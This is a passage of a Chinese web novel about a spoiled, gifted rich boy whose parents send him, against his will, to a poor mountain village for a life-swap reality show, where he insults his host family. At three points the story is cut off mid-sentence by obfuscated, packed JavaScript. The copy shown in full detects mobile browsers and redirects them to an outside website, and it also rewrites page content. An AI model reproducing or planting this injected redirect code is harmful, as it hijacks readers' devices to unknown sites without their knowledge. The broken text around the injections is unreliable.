《山里有个王子病》 1. 山旮旯里 许思睿渴望一种平凡的生活,尽管这句话说出来没人会相信。 他出生那年,世界上第一只克隆羊多莉在罗斯林研究所诞生,第十届欧洲杯于英格兰举办,一辆波音747-100客机在纽约长岛上发生空难,无人生还,世界既欣荣又危险,如同古往今来的每一年,和将来可以预见的无数年月。他爸许正康特意揣着他的八字找了一位香港的风水大师给他算命,对方起卦一看,抚须捻眉,露出一言难尽的表情。 “可是卦象不好?” “非也。” “可是卦象很好?” “非也。” “可是卦象平平无奇?” “非也。” 大师一连甩出三个“非也”,神神秘秘道:“建议你们给他取个平凡点的名字,压压他的气。” “气”是什么,没人说得清,但许正康拥有成功生意人对周易玄黄的敬畏,从香港回来后就把一众“天衡”“天枢”之类牛逼哄哄的名字叉掉了,改在杂志上查阅“中国最常见的那些男孩名”,最终为他敲定名字——思睿。 思睿,three,连英文名都省了,就是有点怪,就像中国人听到外国人取名“我是三”一样怪。 许思睿出生后就展露出了与他的心愿背道而驰的不平凡。他两岁能吟诵唐诗,三岁能算加减乘除,五岁就能熟练翻找出许正康藏在床头下的碟片,指着封面对周天澜说“这是生物在配种”。七岁那年参加小学奥赛,在没有任何针对性培训的情况下捧回了全省一等奖,这段时间无疑是许正康和周天澜夫妻俩的育儿高光。 随后物极必反,和所有早慧的小孩一样,过于顺畅的人生经历让许思睿渐渐体会到了一种难以名状的无聊。 学习不再能激发他的兴趣,赢得他人的赞赏和倾慕也让他感到索然无味,因为太容易了,容易总是滋生倦意,他开始为自己往后漫长的人生猎取另一项兴趣爱好。 2004年12月12日,索尼发行了第一台PSP游戏机。 彼时许思睿的小姨周天晴——一位居无定所的服装设计师——刚好从日本采风回来,顺手捎带了一台PSP-1000作为他的八岁生日礼物。后来周天澜无数次捶胸顿足,悔不该放纵自己妹妹与自己儿子进行这次世纪会晤。 从神童坠向网瘾少年只需要一台PSP游戏机,许思睿用短短几个月演绎了一场伤仲永式的教育惨案。 他迟到,早退,旷课,如同流浪的寄居蟹搜寻外壳,奔逃在一家网吧和另一家网吧间。他漠视学校的规章制度,忤逆父母,顶撞老师,分裂同学。与此同时,他又用他的天才达成了一种令家长倍感头痛的平衡。如果他的成绩刚好因此倒退,许正康和周天澜就能名正言顺借此由头教训他,可怪就怪在这,每次考试,他都能不多不少控分在全级第五名。 第五名,许思睿认为这是所有名次里最优美的一个名次。 它既不像第一第二那样,需要承载学校领导和老师的全部期望,也不像十几名那样,会被家长施加压力,说一些诸如“下次努努力,争取考进前十名”的鼓励。 它就只是第五名而已。 在许正康和周天澜反复纠结该不该把儿子掰回世俗意义上的“正轨”时,一件更大的事发生了,这件事直接帮他们摆脱了纠结,明确了将许思睿送去再教育的决心。 有人为了他差点去跳楼。 这件事的详细过程不必赘述,但其影响无疑是极端恶劣的,老师找到家长,语重心长对他们说:“思睿这孩子聪明是聪明,就是性格太刁了,再不抓紧改造,我怕他……” 点到为止,结尾留下一串意味深长的省略符。 那个年代,老师的地位还不像现在这样微妙,不会因为对学生模棱两可的评价被家长举报到引咎辞职。许正康和周天澜对此高度重视,夫妻俩连夜商讨出方案,最后由周天澜出面,对许思睿说:“你小姨最近在G省采风,结束后打算来我们这住几天,反正你最近也不打算去上课,不如去G省接她,她不识路。” 周天晴的路痴不是秘密,她于许思睿有千里送游戏机的恩情,他没有犹豫便答应了。 从京城到G省,坐飞机总共需要一个多小时,下了飞机头等舱,他们家在G省分公司的工作人员早就派了专车来接机,许思睿连行李都不用自己提,就被全须全尾护送到了车上。 一路向西而行。 ** 许思睿渴望一种平凡的生活,平凡拆解开来,是平常与普通,意指没有任何稀奇之处。 是的,没有任何稀奇之处。 下午六点零五分,他独自一人站在山道上,思考自己为何会脱离平常与普通,站在这么稀奇古怪的地方。 ** 事情该追溯到五分钟前。 当司机把车开进深山里,并叫醒后座昏昏欲睡的他时,他忍不住问了一句:“这是哪,你确定没开错?” 荒山野岭,寂静无声,说是开来这里杀人藏尸的他都信。 “没有错,少爷,这就是夫人交代的地址。” 大抵艺术家都有些古怪的脾性,周天晴的爱好就是往世界各地无人在意的角落里钻,美其名曰采风。这片荒山野岭不太符合她的腔调,但若从“无人在意”这个角度进行论证,倒也马马虎虎说得过去。许思睿半信半疑地推开车门,将长腿迈出去:“算了,我出去透透气。” 他站在山路上,舒展了一下由于久坐而倍感酸懒的筋骨,低头用手机给周天晴发短信:“你在哪?我到了。”附赠现场照片一张。 山里信号不好,短信加载半天都没顺利发送出去。现在是三月末,春寒依然势不可挡,他裹紧了身上的Moncler羽绒服,心里隐隐有不妙的预感。 墨菲定律总会在不幸的时候施展出灵验的功力。司机忽然从驾驶座探出半个脑袋,面露歉疚地对他说:“少爷,你千万别怪我,我也是奉命行事……” “什么?” 他没听懂。 显然司机也不指望他懂。他大喊一声“得罪了”,手起刀落,将车切换成R档,一脚油门,一个漂移,以堪比末日逃命的速度飞出了他的视线,瞬间消失在山路尽头。 一切就像一场荒诞的快节奏电影,足有三秒的时间许思睿的大脑都是空白的,大脑迟缓地运作,最后得出一个显而易见却令人一头雾水的结论——他被司机丢下了,丢在这荒山野岭。 “……靠。” 为什么? 首先排除绑架的可能性,这个司机说起来还是他们家远方表亲,一家老少都在他们家分公司工作,没道理绑架他。其次结合对方刚才的话,“奉命行事”,奉谁的命,行什么事?他低头看向手机,凭直觉拨通了周天澜的号码。 信号卡了很久才连上,手机那头周天澜的嗓音一顿一顿的,像机器在给他宣判死刑:“睿睿,宝贝,妈妈对不起你……可是你网瘾真的太大了,为了你的未来着想,妈妈只能这么做,你千万别怪我……这都是为了你好……我们当父母的也是一片苦心……” “说重点。”他皱眉制止了她漫无目的的抒情。 “重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在一天前,他逃课去网吧打游戏时,还听到邻座的女生兴致勃勃谈论《交换人生》第一季的收官节目,说它怎样怎样感人,怎样怎样催泪,听得他嗤之以鼻。 “噱头,剧本,套路,资本运作下的哗众取宠作品,谁爱看谁傻叉。” 当其中一个女生鼓起勇气问他“思睿,你看过《交换人生》吗”时,他给出了以上回答。 女生被他噎得脸都红了,支吾半天,挤出一句:“好吧……大家都在看,我还以为你会喜欢。” 时间回归此刻。 许思睿死也想不到他前一天才狠狠嘲过的节目,今天竟然就找上了他——或许应该说,万万没想到父母会把自己送进这种无聊综艺。 他们该不会真以为在综艺里磨练一番,就能把他磨练成一个阳光正直好少年吧? 那边杨吉正在翻找许正康和周天澜签署的合同,试图证明自己不是坏人,就听许思睿冷冷道:“我不接受。” “什么?” “我父母和你们签署了协定是他们自己的事,没有得到我的许可。我本人无意参加你们的节目,你们别白费力气了。” “可合同已经签了,不管你愿不愿意,节目都已经开始了,如果你现在退出,就得支付一笔很大的违约金。” “那你去找我父母要吧。” 许思睿翻了个白眼,双手插兜,很有性格地转身就走。 开玩笑,他怎么可能真的浪费一学期的时间在这种鸟不拉屎的地方体验穷人的生活? 可惜他生活在治安森严的大城市,不知道这个世界上还存在一群人,讲究软的不行来硬的,敬酒不吃吃罚酒,才走出十几米,便听身后杨吉大喊一声:“追!绑也得给我把他绑到山里去!” 许思睿:“……?” 2. 牛车历险记 被追逐时撒腿就跑几乎是所有生物的本能,许思睿也不例外,他偏头一看,见摄制组果真乌泱泱朝他涌来,犹如蝗虫过境,心里大骂一声见鬼,立刻回身奔跑起来。 于是一行人追着他,浩浩汤汤,在山野小径上拉开一道追逐长龙。许思睿当领跑,其他人保持固定的间隔点缀在他身后。 跑出一公里后,他很快发现了两个事实—— 第一,进山的时候他全程都在打盹,压根没记住路; 第二,工作人员并非追不上他,而是故意放慢速度在遛他呢,以便拍到更多“震惊!纨绔公子哥初来乍到第一天竟然叛逆奔逃”等博人眼球的素材。 许思睿奉行的是一种省力的人生,换言之,他并不擅长运动,没跑一会就感觉胸口闷得喘不上气,两腿也像灌了铅,重若千斤。 饿。 累。 渴。 他活了十几年,一向众星捧月,从来没吃过任何亏,越是跑,越感到糊涂:为什么他非得受这种苦? 聪明人懂得及时止损,许思睿认为自己当然应在聪明人的行列,于是他适时停下脚步,赶在猝死前转变了态度:“……行,我不跑了,你们说说你们打算怎样吧。” 杨吉也追了上来,他生得胖,显然也不适应这番剧烈的有氧运动,一边喘气一边断断续续地说:“许……许思睿,你能想通就好,我……我告诉你,这样是跑不出去的,等天一黑,这周围山里指不定有什么野熊野猪会出来乱窜,你难道真打算……打算露宿荒野,把自己置身于危险中吗?你听叔一句劝,往回走,村民的牛车已经过来接你了,你坐着牛车去村民家里,喝碗山泉水,吃顿热腾腾的白米饭,舒舒服服洗个澡睡一觉,难道不好吗?你父母替你报这个节目,肯定不是为了害你,你要理解他们的良苦用心啊!” 杨吉的话不无道理,春夏相交之际,天依然黑得快,现在才下午六点多,可周围的山林已经笼罩在一层浓郁的昏暗里了。就算想逃,也得等明天天亮再说,现在妄然跑出去无异于找死。 许思睿想了想,决定暂时妥协。 杨吉见他有松动之意,知道他这种性子的人就是服软不服硬,赶紧趁热打铁:“我现在就把牛车叫过来。” 牛车这个词语对许思睿来说实在太陌生了,他皱了皱眉,问:“就没有轿车吗?” “哎哟我的少爷——”杨吉拊掌跺脚,“这深山老林,哪来的轿车?您就别闹了!山路不好走,除了牛车,别的都进不去,难道你还指望有人抬着担架,把你抬进山里去吗?有牛车坐就该知足啦!” 正说着话,后方的山路果然隐隐绰绰出现了牛车的影子。 杨吉赶紧挥手示意:“这边!这边!” 许思睿也眯眼望去,看到一个干巴瘦弱的寸头小孩骑在牛背上,远远地朝他们这个方向走来。 牧童,黄牛,深山。这几个意象组合要是出现在电视纪录片上,许思睿兴许还能欣赏欣赏,但他现下累惨了,只觉得这牛走得可真慢,这山路可真长。 等牛车龟速靠近,他才看清它的全貌。 只能用“恐怖”二字形容,几乎是看清牛车全貌的那一刻,许思睿就后悔了,后悔得要死。 几块破木板粘成的板车,上面东一条西一条黑印,不知是木板发霉留下的印记,还是粪便泔水。 他脚上还蹬着限量款AJ,尽管鞋侧已经在刚才的奔跑中糊上了不少脏污,但和板车相比,他的鞋子简直干净得开盖即食。想到要用他心爱的鞋踏上这辆车,许思睿就想吐。 杨吉完全没看出他的异状,在一旁热情介绍:“认识一下,她叫祝婴宁,和你同岁,她的龙凤胎弟弟祝吉祥就是我们这一季和你交换人生的乡村学生。也就是说今后这一学期,你都要住到婴宁家里了,既然是要长久相处的人,你们不妨趁现在先熟络熟络,婴宁人可好咧,十里八乡没有不喜欢她的!” 许思睿左耳进右耳出,没在意杨吉说了什么,对着木板看了又看,始终无法接受事实:“这是什么?” “牛车啊。”杨吉答。 天知道他用了多大的力气才说服自己踏上这辆牛车。牛车本是用来坐的,但许思睿实在接受不了坐在车里,只好勉强维持着一个半蹲的姿势,努力不让除了鞋底的任何部位接触到车身。 本以为用这个姿势坚持到目的地就好,谁知牛车行进片刻,前方忽然出现了一个跛脚老阿伯。阿伯左手抱着一只脏兮兮的小羊,右手拄一根竹竿,一瘸一拐走得极其缓慢。 许思睿随意扫了他一眼,看到他怀里毛发虬结发黄的小羊时,脸上不由露出一阵嫌恶。 脏死了。 牛车从阿伯身边经过时,他情不自禁屏住了呼吸。 结果,坐在牛背上的祝婴宁忽然气沉丹田“吁”了一声,跳下牛背,用方言叽里咕噜同阿伯说了句话。闻言阿伯笑着点了点头,抱着小羊朝许思睿所在的板车走过来。 他心里顿时升起一股不详的预感,赶忙问身旁的工作人员:“他刚刚和这老头说了什么?” “让他上车来坐。” 许思睿一口血闷在喉口,斜眼瞪向祝婴宁,不可置信道:“你叫他上来为什么不问我?!” 祝婴宁一边朝牛背上爬,一边纳闷地看向他,用带口音的普通话回答:“为什么要问你?” “这辆车是用来载我的吧?既然要载其他人,肯定要先问我啊!” “我不懂你在说什么。”祝婴宁说,“这是我家的车,是我阿爸自己砍木头做的,我想用它拉谁,为什么得问你?” “……” 许思睿发现自己竟无法反驳。 他习惯了在城市里众星捧月,被男的恭维,被女的崇拜,下意识以为在这里也是如此,没想到这个赶牛的土包子一点都不给他面子。 任他心里万般腹诽,阿伯还是坐了上来,仿佛坐的是自家的车,不仅屁股大大方方敦到了木板上,还把小羊放了下来,逼得许思睿不得不龟缩在牛板车一角。 活物的体温和动静、羊身上暖烘烘的骚臭味、来自阿伯的好奇且不礼貌的盯视……所有的所有都让他感到极度厌倦。 然而一切还没结束。 前方道路上不知怎么又出现了两个小孩的身影,目测都是低年级小学生。这次许思睿杯弓蛇影,没等祝婴宁开口,就提前截胡道:“你不会要让她们也上来吧?我绝不允许!” 祝婴宁用“莫名其妙”的眼神瞥了他一眼,朝俩小孩道:“阿青,小水,你们都上来吧。” “……” “阿青小水都是女孩。”见许思睿表情扭曲,祝婴宁好心解释道,“她们还小,摸黑走山路不安全。” 好了,许思睿心想,他现在可算明白十里八乡为什么都喜欢这个人了,合着这是一尊活菩萨啊!以后山林起火都不用灭火了,直接把她推进去,准能烧出一堆舍利子。 小孩和小动物的恐怖程度在许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543175|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思睿这不相上下,他厌恶一切无法自控的生物。瞧这两个小孩,穿的棉服像是三年没洗,袖口和领口都黄得像老太太的裹脚布。他实在抑制不住脸上的嫌弃,可也没有办法,虎落平阳,只好努力将自己缩成一条扁扁的咸鱼,尽量让身体远离所有人。 这两个小孩似乎对他非常好奇,时不时看他一眼,笑一笑,与同伴交头接耳,然后又看他一眼。 许思睿长得很吸睛。 一个男的只要身高够高,皮肤够白,头肩比够优越,通常丑不到哪里去,更何况他的五官继承了曾经斩获香港小姐的周天澜,眉如山黛,眼如桃花,鼻如霜雪,唇如含丹,美得极其抓眼,连穿衣打扮也透着一股区别于山村的清贵气质。 在京城时,许思睿不止一次被星探挖掘去当模特,按理来说他早该习惯了他人的注视,可问题是,大城市的人更有边界感,不管心里作何感想,他们的注视都是含蓄收敛的。然而不管是这个老阿伯,还是这俩小孩,他们的注视都很直白,如同白描画就的山水,不添任何掩饰。 被他们直勾勾盯着看本来就不适,更让他作呕的是,牛车走到一半,阿伯忽然压着嗓子狂咳起来,然后:“嗬——忒!”直接吐了一口浓痰在牛车上。 而这还不算完。 当许思睿察觉到他那双价格高达五万块的限量AJ球鞋上传来一阵温热触感时,一切都已经来不及了。 羊拉了屎在他鞋上,不是一颗,而是一串。 “啊——!!” 在这之前,他从来不知道自己一个大男人竟然能发出如此九曲十八弯的尖叫。 车上其他人也察觉到了小羊的杰作。阿伯将羊拉开,手指于半空中翻飞比划,嘴里咿咿呀呀不知在用方言说些什么,脸上丝毫不见歉意。两个小孩指着他的鞋面吃吃发笑,其中一个壮起胆子,想用自己的鞋尖儿帮他把羊粪球踢开,不幸的是,这只羊今日或许肠胃不好,鞋一踢,不仅没将粪球踢开,反而在鞋面上碾出一道湿软便痕。 “完啦。”肇事的小孩朝同伴吐吐舌头。 许思睿脸都绿了,拽住祝婴宁的衣角大声喊:“停车!停车!” “怎么了?”祝婴宁放缓了车速。 他干脆利落跳了车,被工作人员搀扶了一把才不至于摔倒,却是死活也不肯回到车上了。 于是只能步行。 还剩足足八公里路程,许思睿趿着惨遭荼毒的球鞋,深一脚浅一脚跟在摄制组后面,全靠意志力撑着才没昏过去。乳酸在腿部堆积,酿成沉滞的酸意。他咬牙坚持着,脚步沉沉,啪嗒啪嗒。 不知究竟走了多久,望不到尽头的深山里总算出现了一座村庄,零星几点灯火拓出了村庄的外形。 以前许思睿对村庄的一切想象都来源于江浙一带受改革开放之风眷顾的新村庄——鱼米之乡,红瓦白墙,片片稻田迎风招展。可眼前这个村庄全然不是这么回事,它看起来更像鬼屋。 走近了,只见村口竖着一块写着“祝家村”的破落石碑。 村庄依山而建,总体走势是向上的,祝婴宁在村口放下阿伯和小孩们,将牛车拴进村底的屋舍,这才领着摄制组和面如死灰的许思睿,顺着歪歪扭扭的沙石路,一路向上攀爬,来到了最顶上的一家。 “这就是我家了。” 她回身向许思睿介绍。 许思睿环顾着这间四面漏风的小破屋,不敢相信自己的眼睛:“这是你家?这真的不是猪棚?” 3. 祝家村 屋子门口站着一个女人,和祝婴宁一样,有着黑黑的皮肤和干巴瘦的身材,一看就是祝婴宁的妈妈。她看到许思睿,表情显出几分拘谨,将粗糙的手在围裙上来回擦了擦,局促地攒出一个笑,轻声细语道:“你就是睿睿吧?来,孩子,快进来坐吧,吃点饭,喝点水,从京市到我们这边,一定累坏吧?” 许思睿翻了一个巨大的白眼:“别叫我睿睿,我跟你很熟?” 他讨厌自来熟的人,更无法接受周天澜以外的人喊他小名。 刘桂芳没想到会得到这样的答复,被他呛得一楞,越发显得不知所措起来:“不、不好意思啊……阿姨不知道你介意,那……那我该叫你什么好呢?” 他没回答,左右看了看,随口问:“你们家保姆在哪?叫她出来帮我洗下鞋子,我鞋子脏了。” “保姆?”刘桂芳呆了呆,随即宽和一笑,蹲下来道,“我们家没有保姆,你把鞋子脱给我吧,我帮你洗。” 许思睿被人伺候惯了,丝毫不觉得有问题,将鞋子脱给她,熟练地发号施令:“再拿双拖鞋给我。” 刘桂芳一边应着,一边唯唯诺诺地从橱柜里翻出一双男士拖鞋,结果他一看,眉头都拧了起来:“我要全新的,别拿别人穿过的给我。” “我们家没有全新的,这双拖鞋虽然被人穿过,但阿姨已经洗干净了……”她歉疚地笑笑。 条件就摆在这,要么选择继续穿被羊粪污染的鞋,要么只能穿别人穿过的拖鞋,这个二选一的难题对许思睿来说一点都不美好。他和自己的洁癖搏斗了好半晌,才勉强出声道:“……行吧,你把拖鞋放下来。” 穿上拖鞋,他径直走进屋里,犹如皇帝微服私访,在小小的房子里逡巡了一圈,开口时语气里的傲慢藏都藏不住:“这真是给人住的地方吗,怎么这么脏这么乱?水杯在哪?我渴了,倒杯水给我。” 祝婴宁在屋外气得脸都红了,死死瞪着他的背影,上前一步便要理论,刘桂芳赶紧拉住她,压低声音劝道:“算了,算了宁宁……我们家这么穷,他嫌弃也是应该的,是我的问题,我没用,我没能好好招待人家……别惹他生气,想想吉祥,想想你弟弟……” “水呢?” 屋子里许思睿又在催了。 祝婴宁见母亲殷殷切切就要上前,心里很不好受,只好抢道:“我来吧。” 她走进屋里,从橱柜里翻出了他们家最好的搪瓷杯,绕到屋后,冒着寒冷用泉水仔细冲洗了两遍,这才回屋接上烧开放凉的温开水,将它递给许思睿。 谁知他一接过去就变了脸色:“这什么啊!” “怎么了?” “你自己过来看,杯底全是脏东西,你是不是想毒死我?” 祝婴宁凑近一看,“哦”了一声:“你误会了,这不是脏东西,这是水垢,我们这的山泉矿物质含量比较多,杯子用久了难免会沉积水垢,洗不掉,但这东西不脏的,你放心喝吧。” “……不脏?”许思睿脸都皱成了一团,盯着水垢斟酌半晌,最终还是过不了自己心里那关,将杯子一把推回祝婴宁怀里,“算了算了,我不喝了,我吃饭吧,你们家的饭碗不会也有水垢吧?” 祝婴宁的脸色已经难看得堪比锅底了,跟进屋里的摄像们面面相觑,眼神在“有素材了”和“打起来怎么办”之间来回切换。 刘桂芳见气氛不妙,赶紧出来调节,赔着笑道:“不会的不会的,我们家的饭碗洗得很干净的,阿姨特意准备了拿手好菜等着你呢,阿姨最擅长做馕饼了,村子里没人比我做得好,你一定要尝尝!” 说着回身匆匆忙忙端出一碟馕饼,并嘱咐祝婴宁摆好餐桌碗筷。 所谓“餐桌”,便是一张四角折叠矮几,往屋子正中间的竹席上一放,大家席地而坐,这就算餐桌了。 竹席同样黄不拉几,缝隙里嵌满了经年累月的污垢,许思睿觉得这个村子不该叫祝家村,应该改名叫黄家村才对。面对刘桂芳热情的“你坐呀,坐呀”的招待,他嘴角抽了抽,毫不犹豫地拒绝道:“我站着吃就好。” “那你吃馕饼,多吃点,瞧你这孩子瘦的……”刘桂芳一边说一边徒手抓了个馕饼塞给他。 油腻腻的馕饼眼看就要糊上他的衣服,许思睿像看到脏东西一样,吓得连连朝后退,脱口而出:“为什么要用手抓?恶心死了!你刚刚洗手了吗?” 摄像机正对着他们,将一切都记录在内,刘桂芳窘得快哭了,嘴唇哆嗦几下,勉强挤出一声细弱的应答:“我、我洗了的……” “你刚刚帮我提完鞋根本没洗手!”许思睿毫不犹豫地揭穿她的谎言,又往后躲了几步,目光扫到刘桂芳长满冻疮的手指,以及油得反光的馕饼,顿时食欲全无,“算了算了,我不吃了,反正饿一晚上也不会死……你们家洗手间在哪?” “洗手间?”刘桂芳又怔了怔,直到祝婴宁凑到她耳边提醒了一下,她才恍然大悟,“哦哦,茅厕对吧?有的有的,阿姨带你去!” “茅厕”这个表达一出来,许思睿的心就凉了半截,跟在刘桂芳身后走了一段路,看到所谓的茅厕后,他忍不住笑了。 被无语笑的。 建在屋外的一个小茅房,墙顶悬着一盏昏黄的电灯泡,灯泡上面趴着一只大扑棱蛾子,地面则是人工挖就的旱厕,脚的位置垫了两块木板供人踩踏,中间的洞口通向贮粪池,恶臭扑鼻。 刘桂芳搓了搓手,尴尬地笑道:“平时粪池都是宁宁清理的,她很勤快,都会及时拿去沤肥,今天忙着去接你,才稍微耽搁了……” 许思睿捂住口鼻,喉咙抑制不住地干呕:“停,别跟我讲这些细节,我不想听,你告诉我上完厕所去哪洗手?Yue……” 水可以不喝,饭可以不吃,但三急确实憋不住,就算用了这个厕所会做整宿噩梦,他也不得不捏着鼻子上了。 “哦,哦!洗手的地方在屋后。”刘桂芳像是怕他嫌弃,殷勤地解释道,“是山泉水,很干净的,还有一块新开封的香皂,是我们宁宁特意去镇上买的……” 话还没说完,茅厕的门就在她眼前甩上了。 刘桂芳吃了个闭门羹,只得握着双手讪讪退开。 同简陋的茅厕搏斗完,又用香皂洗了三遍手,许思睿才摆着臭脸回到屋里。 由于空间狭小,屋子里只留下了一个摄影师,他同刘桂芳、祝婴宁一起坐在餐桌周围,三人眼巴巴望着他。 “看我做什么?” 许思睿的耐心已经快见底了。一路走来的所有东西都在刷新他的三观和认知,他原本还打算在镜头前维持一个好点的形象,现在?屁的形象!他满脑子只剩下离开。撑过今晚,他绝对要想办法逃离这个鬼地方。向他妈撒娇哭闹也好,给他爸下跪求情也好,反正一定不能继续待在这里,不然他一定会折寿。 摄影师解释道:“她们要等你一起吃饭。” “不都说了我不吃吗?”许思睿最烦这种自我感动式的行为了,“你们吃你们的,不用管我。” 刘桂芳担忧地劝道:“这怎么行呢?你是大小伙子,正在长身体,今天又奔波劳累了一整天,多少还是该过来吃一点的……” 平时在家里,就连周天澜都不敢这样唠叨他,许思睿没想到换了一个陌生环境,他居然还需要听人念经,本来情绪就处于爆发的边缘,被刘桂芳这样一烦,瞬间火冒三丈:“我靠,我真是服了,你听不懂人话吗?都说了我不吃我不吃,做的什么猪食也敢叫我吃,非要等我吃了以后吐你身上才爽是吧?” 他吼完,屋子里顿时陷入了死寂,刘桂芳噙着泪,难堪地垂下脖颈,祝婴宁则梗着脖子,难以置信地怒视着他,眼睛都气得要喷火了。在一阵令人窒息的沉默中,只有摄影师尽职尽责地调整镜头,将镜头对准了许思睿愤怒的脸。 “我**!”许思睿没想到这人这么没眼力见,飞起一脚踹向摄像机,将镜头盖踹了下来,手指指向摄影师的鼻子,“你再拍!” 摄影师眼观鼻鼻观心,默默爬去将镜头盖捡了回来。 发泄完怒火,许思睿心里的郁气总算消散了一些,他无视其他人的难堪,迈开步子,朝屋子里侧走去。 这间房子不大,分为里外两个部分,外面——也就是入户处,铺了一张很大的竹席,是祝婴宁一家人平常的活动空间,竹席四周的边隙乱七八糟堆积着各色杂物和一张狭长的书桌;里面——许思睿正打算进去。 里外两部分被一张从天花板垂到地板的帘子隔开了,他伸手拉开帘子。 本以为里面会是比较隐蔽的卧室,可以供他独自坐着歇歇脚,但这期望注定又要落空了,因为映入眼帘的并非卧室,而是一张大炕。 炕上躺着一个看起来命不久矣的七旬老人,迷迷瞪瞪,半睡半醒,嘴角挂着一串涎水。看到他,老太太嘴里咿唔两声,吃吃傻笑起来。 ** “……” 视觉冲击太强,许思睿好半天都说不出话,张着嘴巴呆愣半天,才指着床上的老太太,回头问,“她是谁?” “是我婆婆,老年痴呆,中了风,有点偏瘫,平时都躺在床上。”刘桂芳搓着双手,小心翼翼地回答。 偏瘫两字让许思睿产生了一些不好的联想,比如大小便失禁、流口水,尽管没有闻到什么实质性的怪味,他还是下意识捂住了口鼻,目光在炕上扫荡一圈,艰难地问:“别告诉我这就是我今晚睡觉的床?” 刘桂芳赶紧说:“别担心,炕里烧了柴火,暖得很,饱管不会冻到你的。” 操!根本不是会不会冻到的问题。许思睿快要崩溃了,他发现自己的脑回路老是和这家人对不到一起:“谁管冻不冻了,我的意思是——我今晚难道要和这个痴呆老太婆一起睡?” 痴呆老太婆这个说法不好听,刘桂芳被他凶得愣了愣,脸上笑容像纸揉出来的一样苍白:“我婆婆平时都是我在照顾,她看着虽然傻,但是一点都不脏的……我们、我们家不大,除了这个炕,确实没有别的地方可以……” 话还没说完,就被一道清亮的嗓音打断了:“你叫许思睿是吗?” 众人的目光循着声音落在祝婴宁身上,许思睿也看了过去,见她挺直腰背蹲坐在地板上,眼神冰冷:“请你对我阿妈和奶奶放尊重点。” “宁宁!” 刘桂芳大惊失色,赶紧扯了她一把,拦在她身前,讨好地笑着,朝许思睿一个劲儿哈腰点头,“你别听她的,她就这脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于那晚有没有睡着,许思睿是一点印象都没有了,似乎迷迷糊糊趴在桌上打了会盹,又似乎只是他的错觉。 凌晨四点,村子里此起彼伏的鸡叫成功将他从半梦半醒的状态中拽了出来。 他缓缓从书桌上直起身,揉了揉酸疼的脖颈,又锤了锤同样酸疼的腰,满肚子都是睡眠不足的起床气。 本来以为自己是起的最早的人,结果朝窗外一看,祝婴宁竟然已经在外面干农活了。 许思睿呆呆地看了一会,察觉到摄制组的人都还没醒,他灵机一动,想到了一个方法。 而外面,祝婴宁原本挎着一篮饲料打算喂鸡,结果人还没走到鸡舍,就被许思睿一把拽到了一个偏僻的角落里。 “你干什么?”她捂住篮筐,生怕里面的饲料洒了。 “喂,土包子,我问你个事儿。” 祝婴宁皱起眉:“我不叫土包子。” “我问你,你们这附近哪里有信号可以打电话?”许思睿无视了她的抗议,单刀直入甩出问题。 她狐疑地打量着他,虽然隐隐觉得他没安好心,但还是如实回答道:“这里没有,想打电话得去镇上,那里才有信号。” “那你现在带我去镇上。” “不行,太远了,镇上离这有二十公里呢。” “你骑牛车带我去。” “不行,导演他们说了,不能以任何直接或间接的方式协助你离开这里,要是被他们发现了,我得赔钱的。” 许思睿惊呆了,心想杨吉还有没有人性了,竟然连这么穷的家庭也要坑违约金。他想了想,继续游说:“赔钱是小事,我告诉你,我爸特别有钱,只要你能帮我出去,别说违约金了,我可以在这基础上再给你一笔钱,让你将来吃喝不愁,怎么样?” 怕她不信,他还特意薅下了自己手上的瑞士手表,往她手里一拍,大气道,“手表你先拿着,就当是押金了。” 都说有钱能使鬼推磨,许思睿对此深信不疑,他觉得眼前这个土包子不说百分百被自己说服,看了手表,起码也会有些迟疑,结果—— 她竟然毫不犹豫地把手表塞回他怀里,干脆利落摇头拒绝:“不要。” “?” 没等他问为什么,她就一板一眼回答道:“我已经答应了遵守他们的规则,就要说到做到,不能言而无信,诚信是我们中华民族的传统美德,你这样贿赂我是不对的。” “?” 许思睿还以为“诚信是中华民族的传统美德”这种表述只会出现在课本上,没想到居然有人能面不改色地把它念出来。 “……你没病吧?”他百思不得其解,“不是,你以为你在演红色主旋律吗?搁这贫贱不能移富贵不能淫给谁看呢?这可是钱啊,钱!钱你都不要?” 祝婴宁对他的冷嘲热讽毫不在意,她拍拍屁股站起来,认真道:“反正我是绝对不会帮你的。” “靠。”许思睿烦得要命,踢了踢脚下的石子,怒道,“你当我不知道呢,你不就因为昨晚的事在生我气所以才不帮我么?至于吗,我说什么了我?我说的不都是实话?你们家就是很破很穷,你奶奶就是痴呆啊!” 他骂骂咧咧的时候祝婴宁已经走远了,看样子完全没听到他的话,许思睿越想越生气,又踹了踹身旁的木栅栏,赌气道:“谁稀罕你帮我,你不帮我,我有的是办法!” ** 许思睿的办法烂透了。 如果可以穿越回二十分钟前,他一定要给自己两巴掌,让自己不要头脑一热就冲动行事。 不然就会像现在这样,以为可以凭借记忆独自摸索出山,结果走着走着在山林里迷路了,不仅找不到回去的方向,还脚滑摔进了猎人的陷阱里。 4. 脚伤 猎人的陷阱。 换成一天前,许思睿绝对想不到这么魔幻的词组会和自己产生关联。他以为猎人只存在于童话故事里,是一种濒危的古老传说,毕竟现在都什么年代了,资源稀缺的二十一世纪,但凡是个会飞的会跑的都算三有动物,连麻雀这种曾经的四害都混上了编制,山里怎么可能还有猎人? 但事实是,他对山村知之甚少,都说靠海吃海,靠山吃山,在经济不发达的山区,野味依然是一些村民开荤的重要来源之一,这里不仅有猎人,还保留了古老的陷阱—— 一个深约两米,表面铺着泥土和干草的大洞。 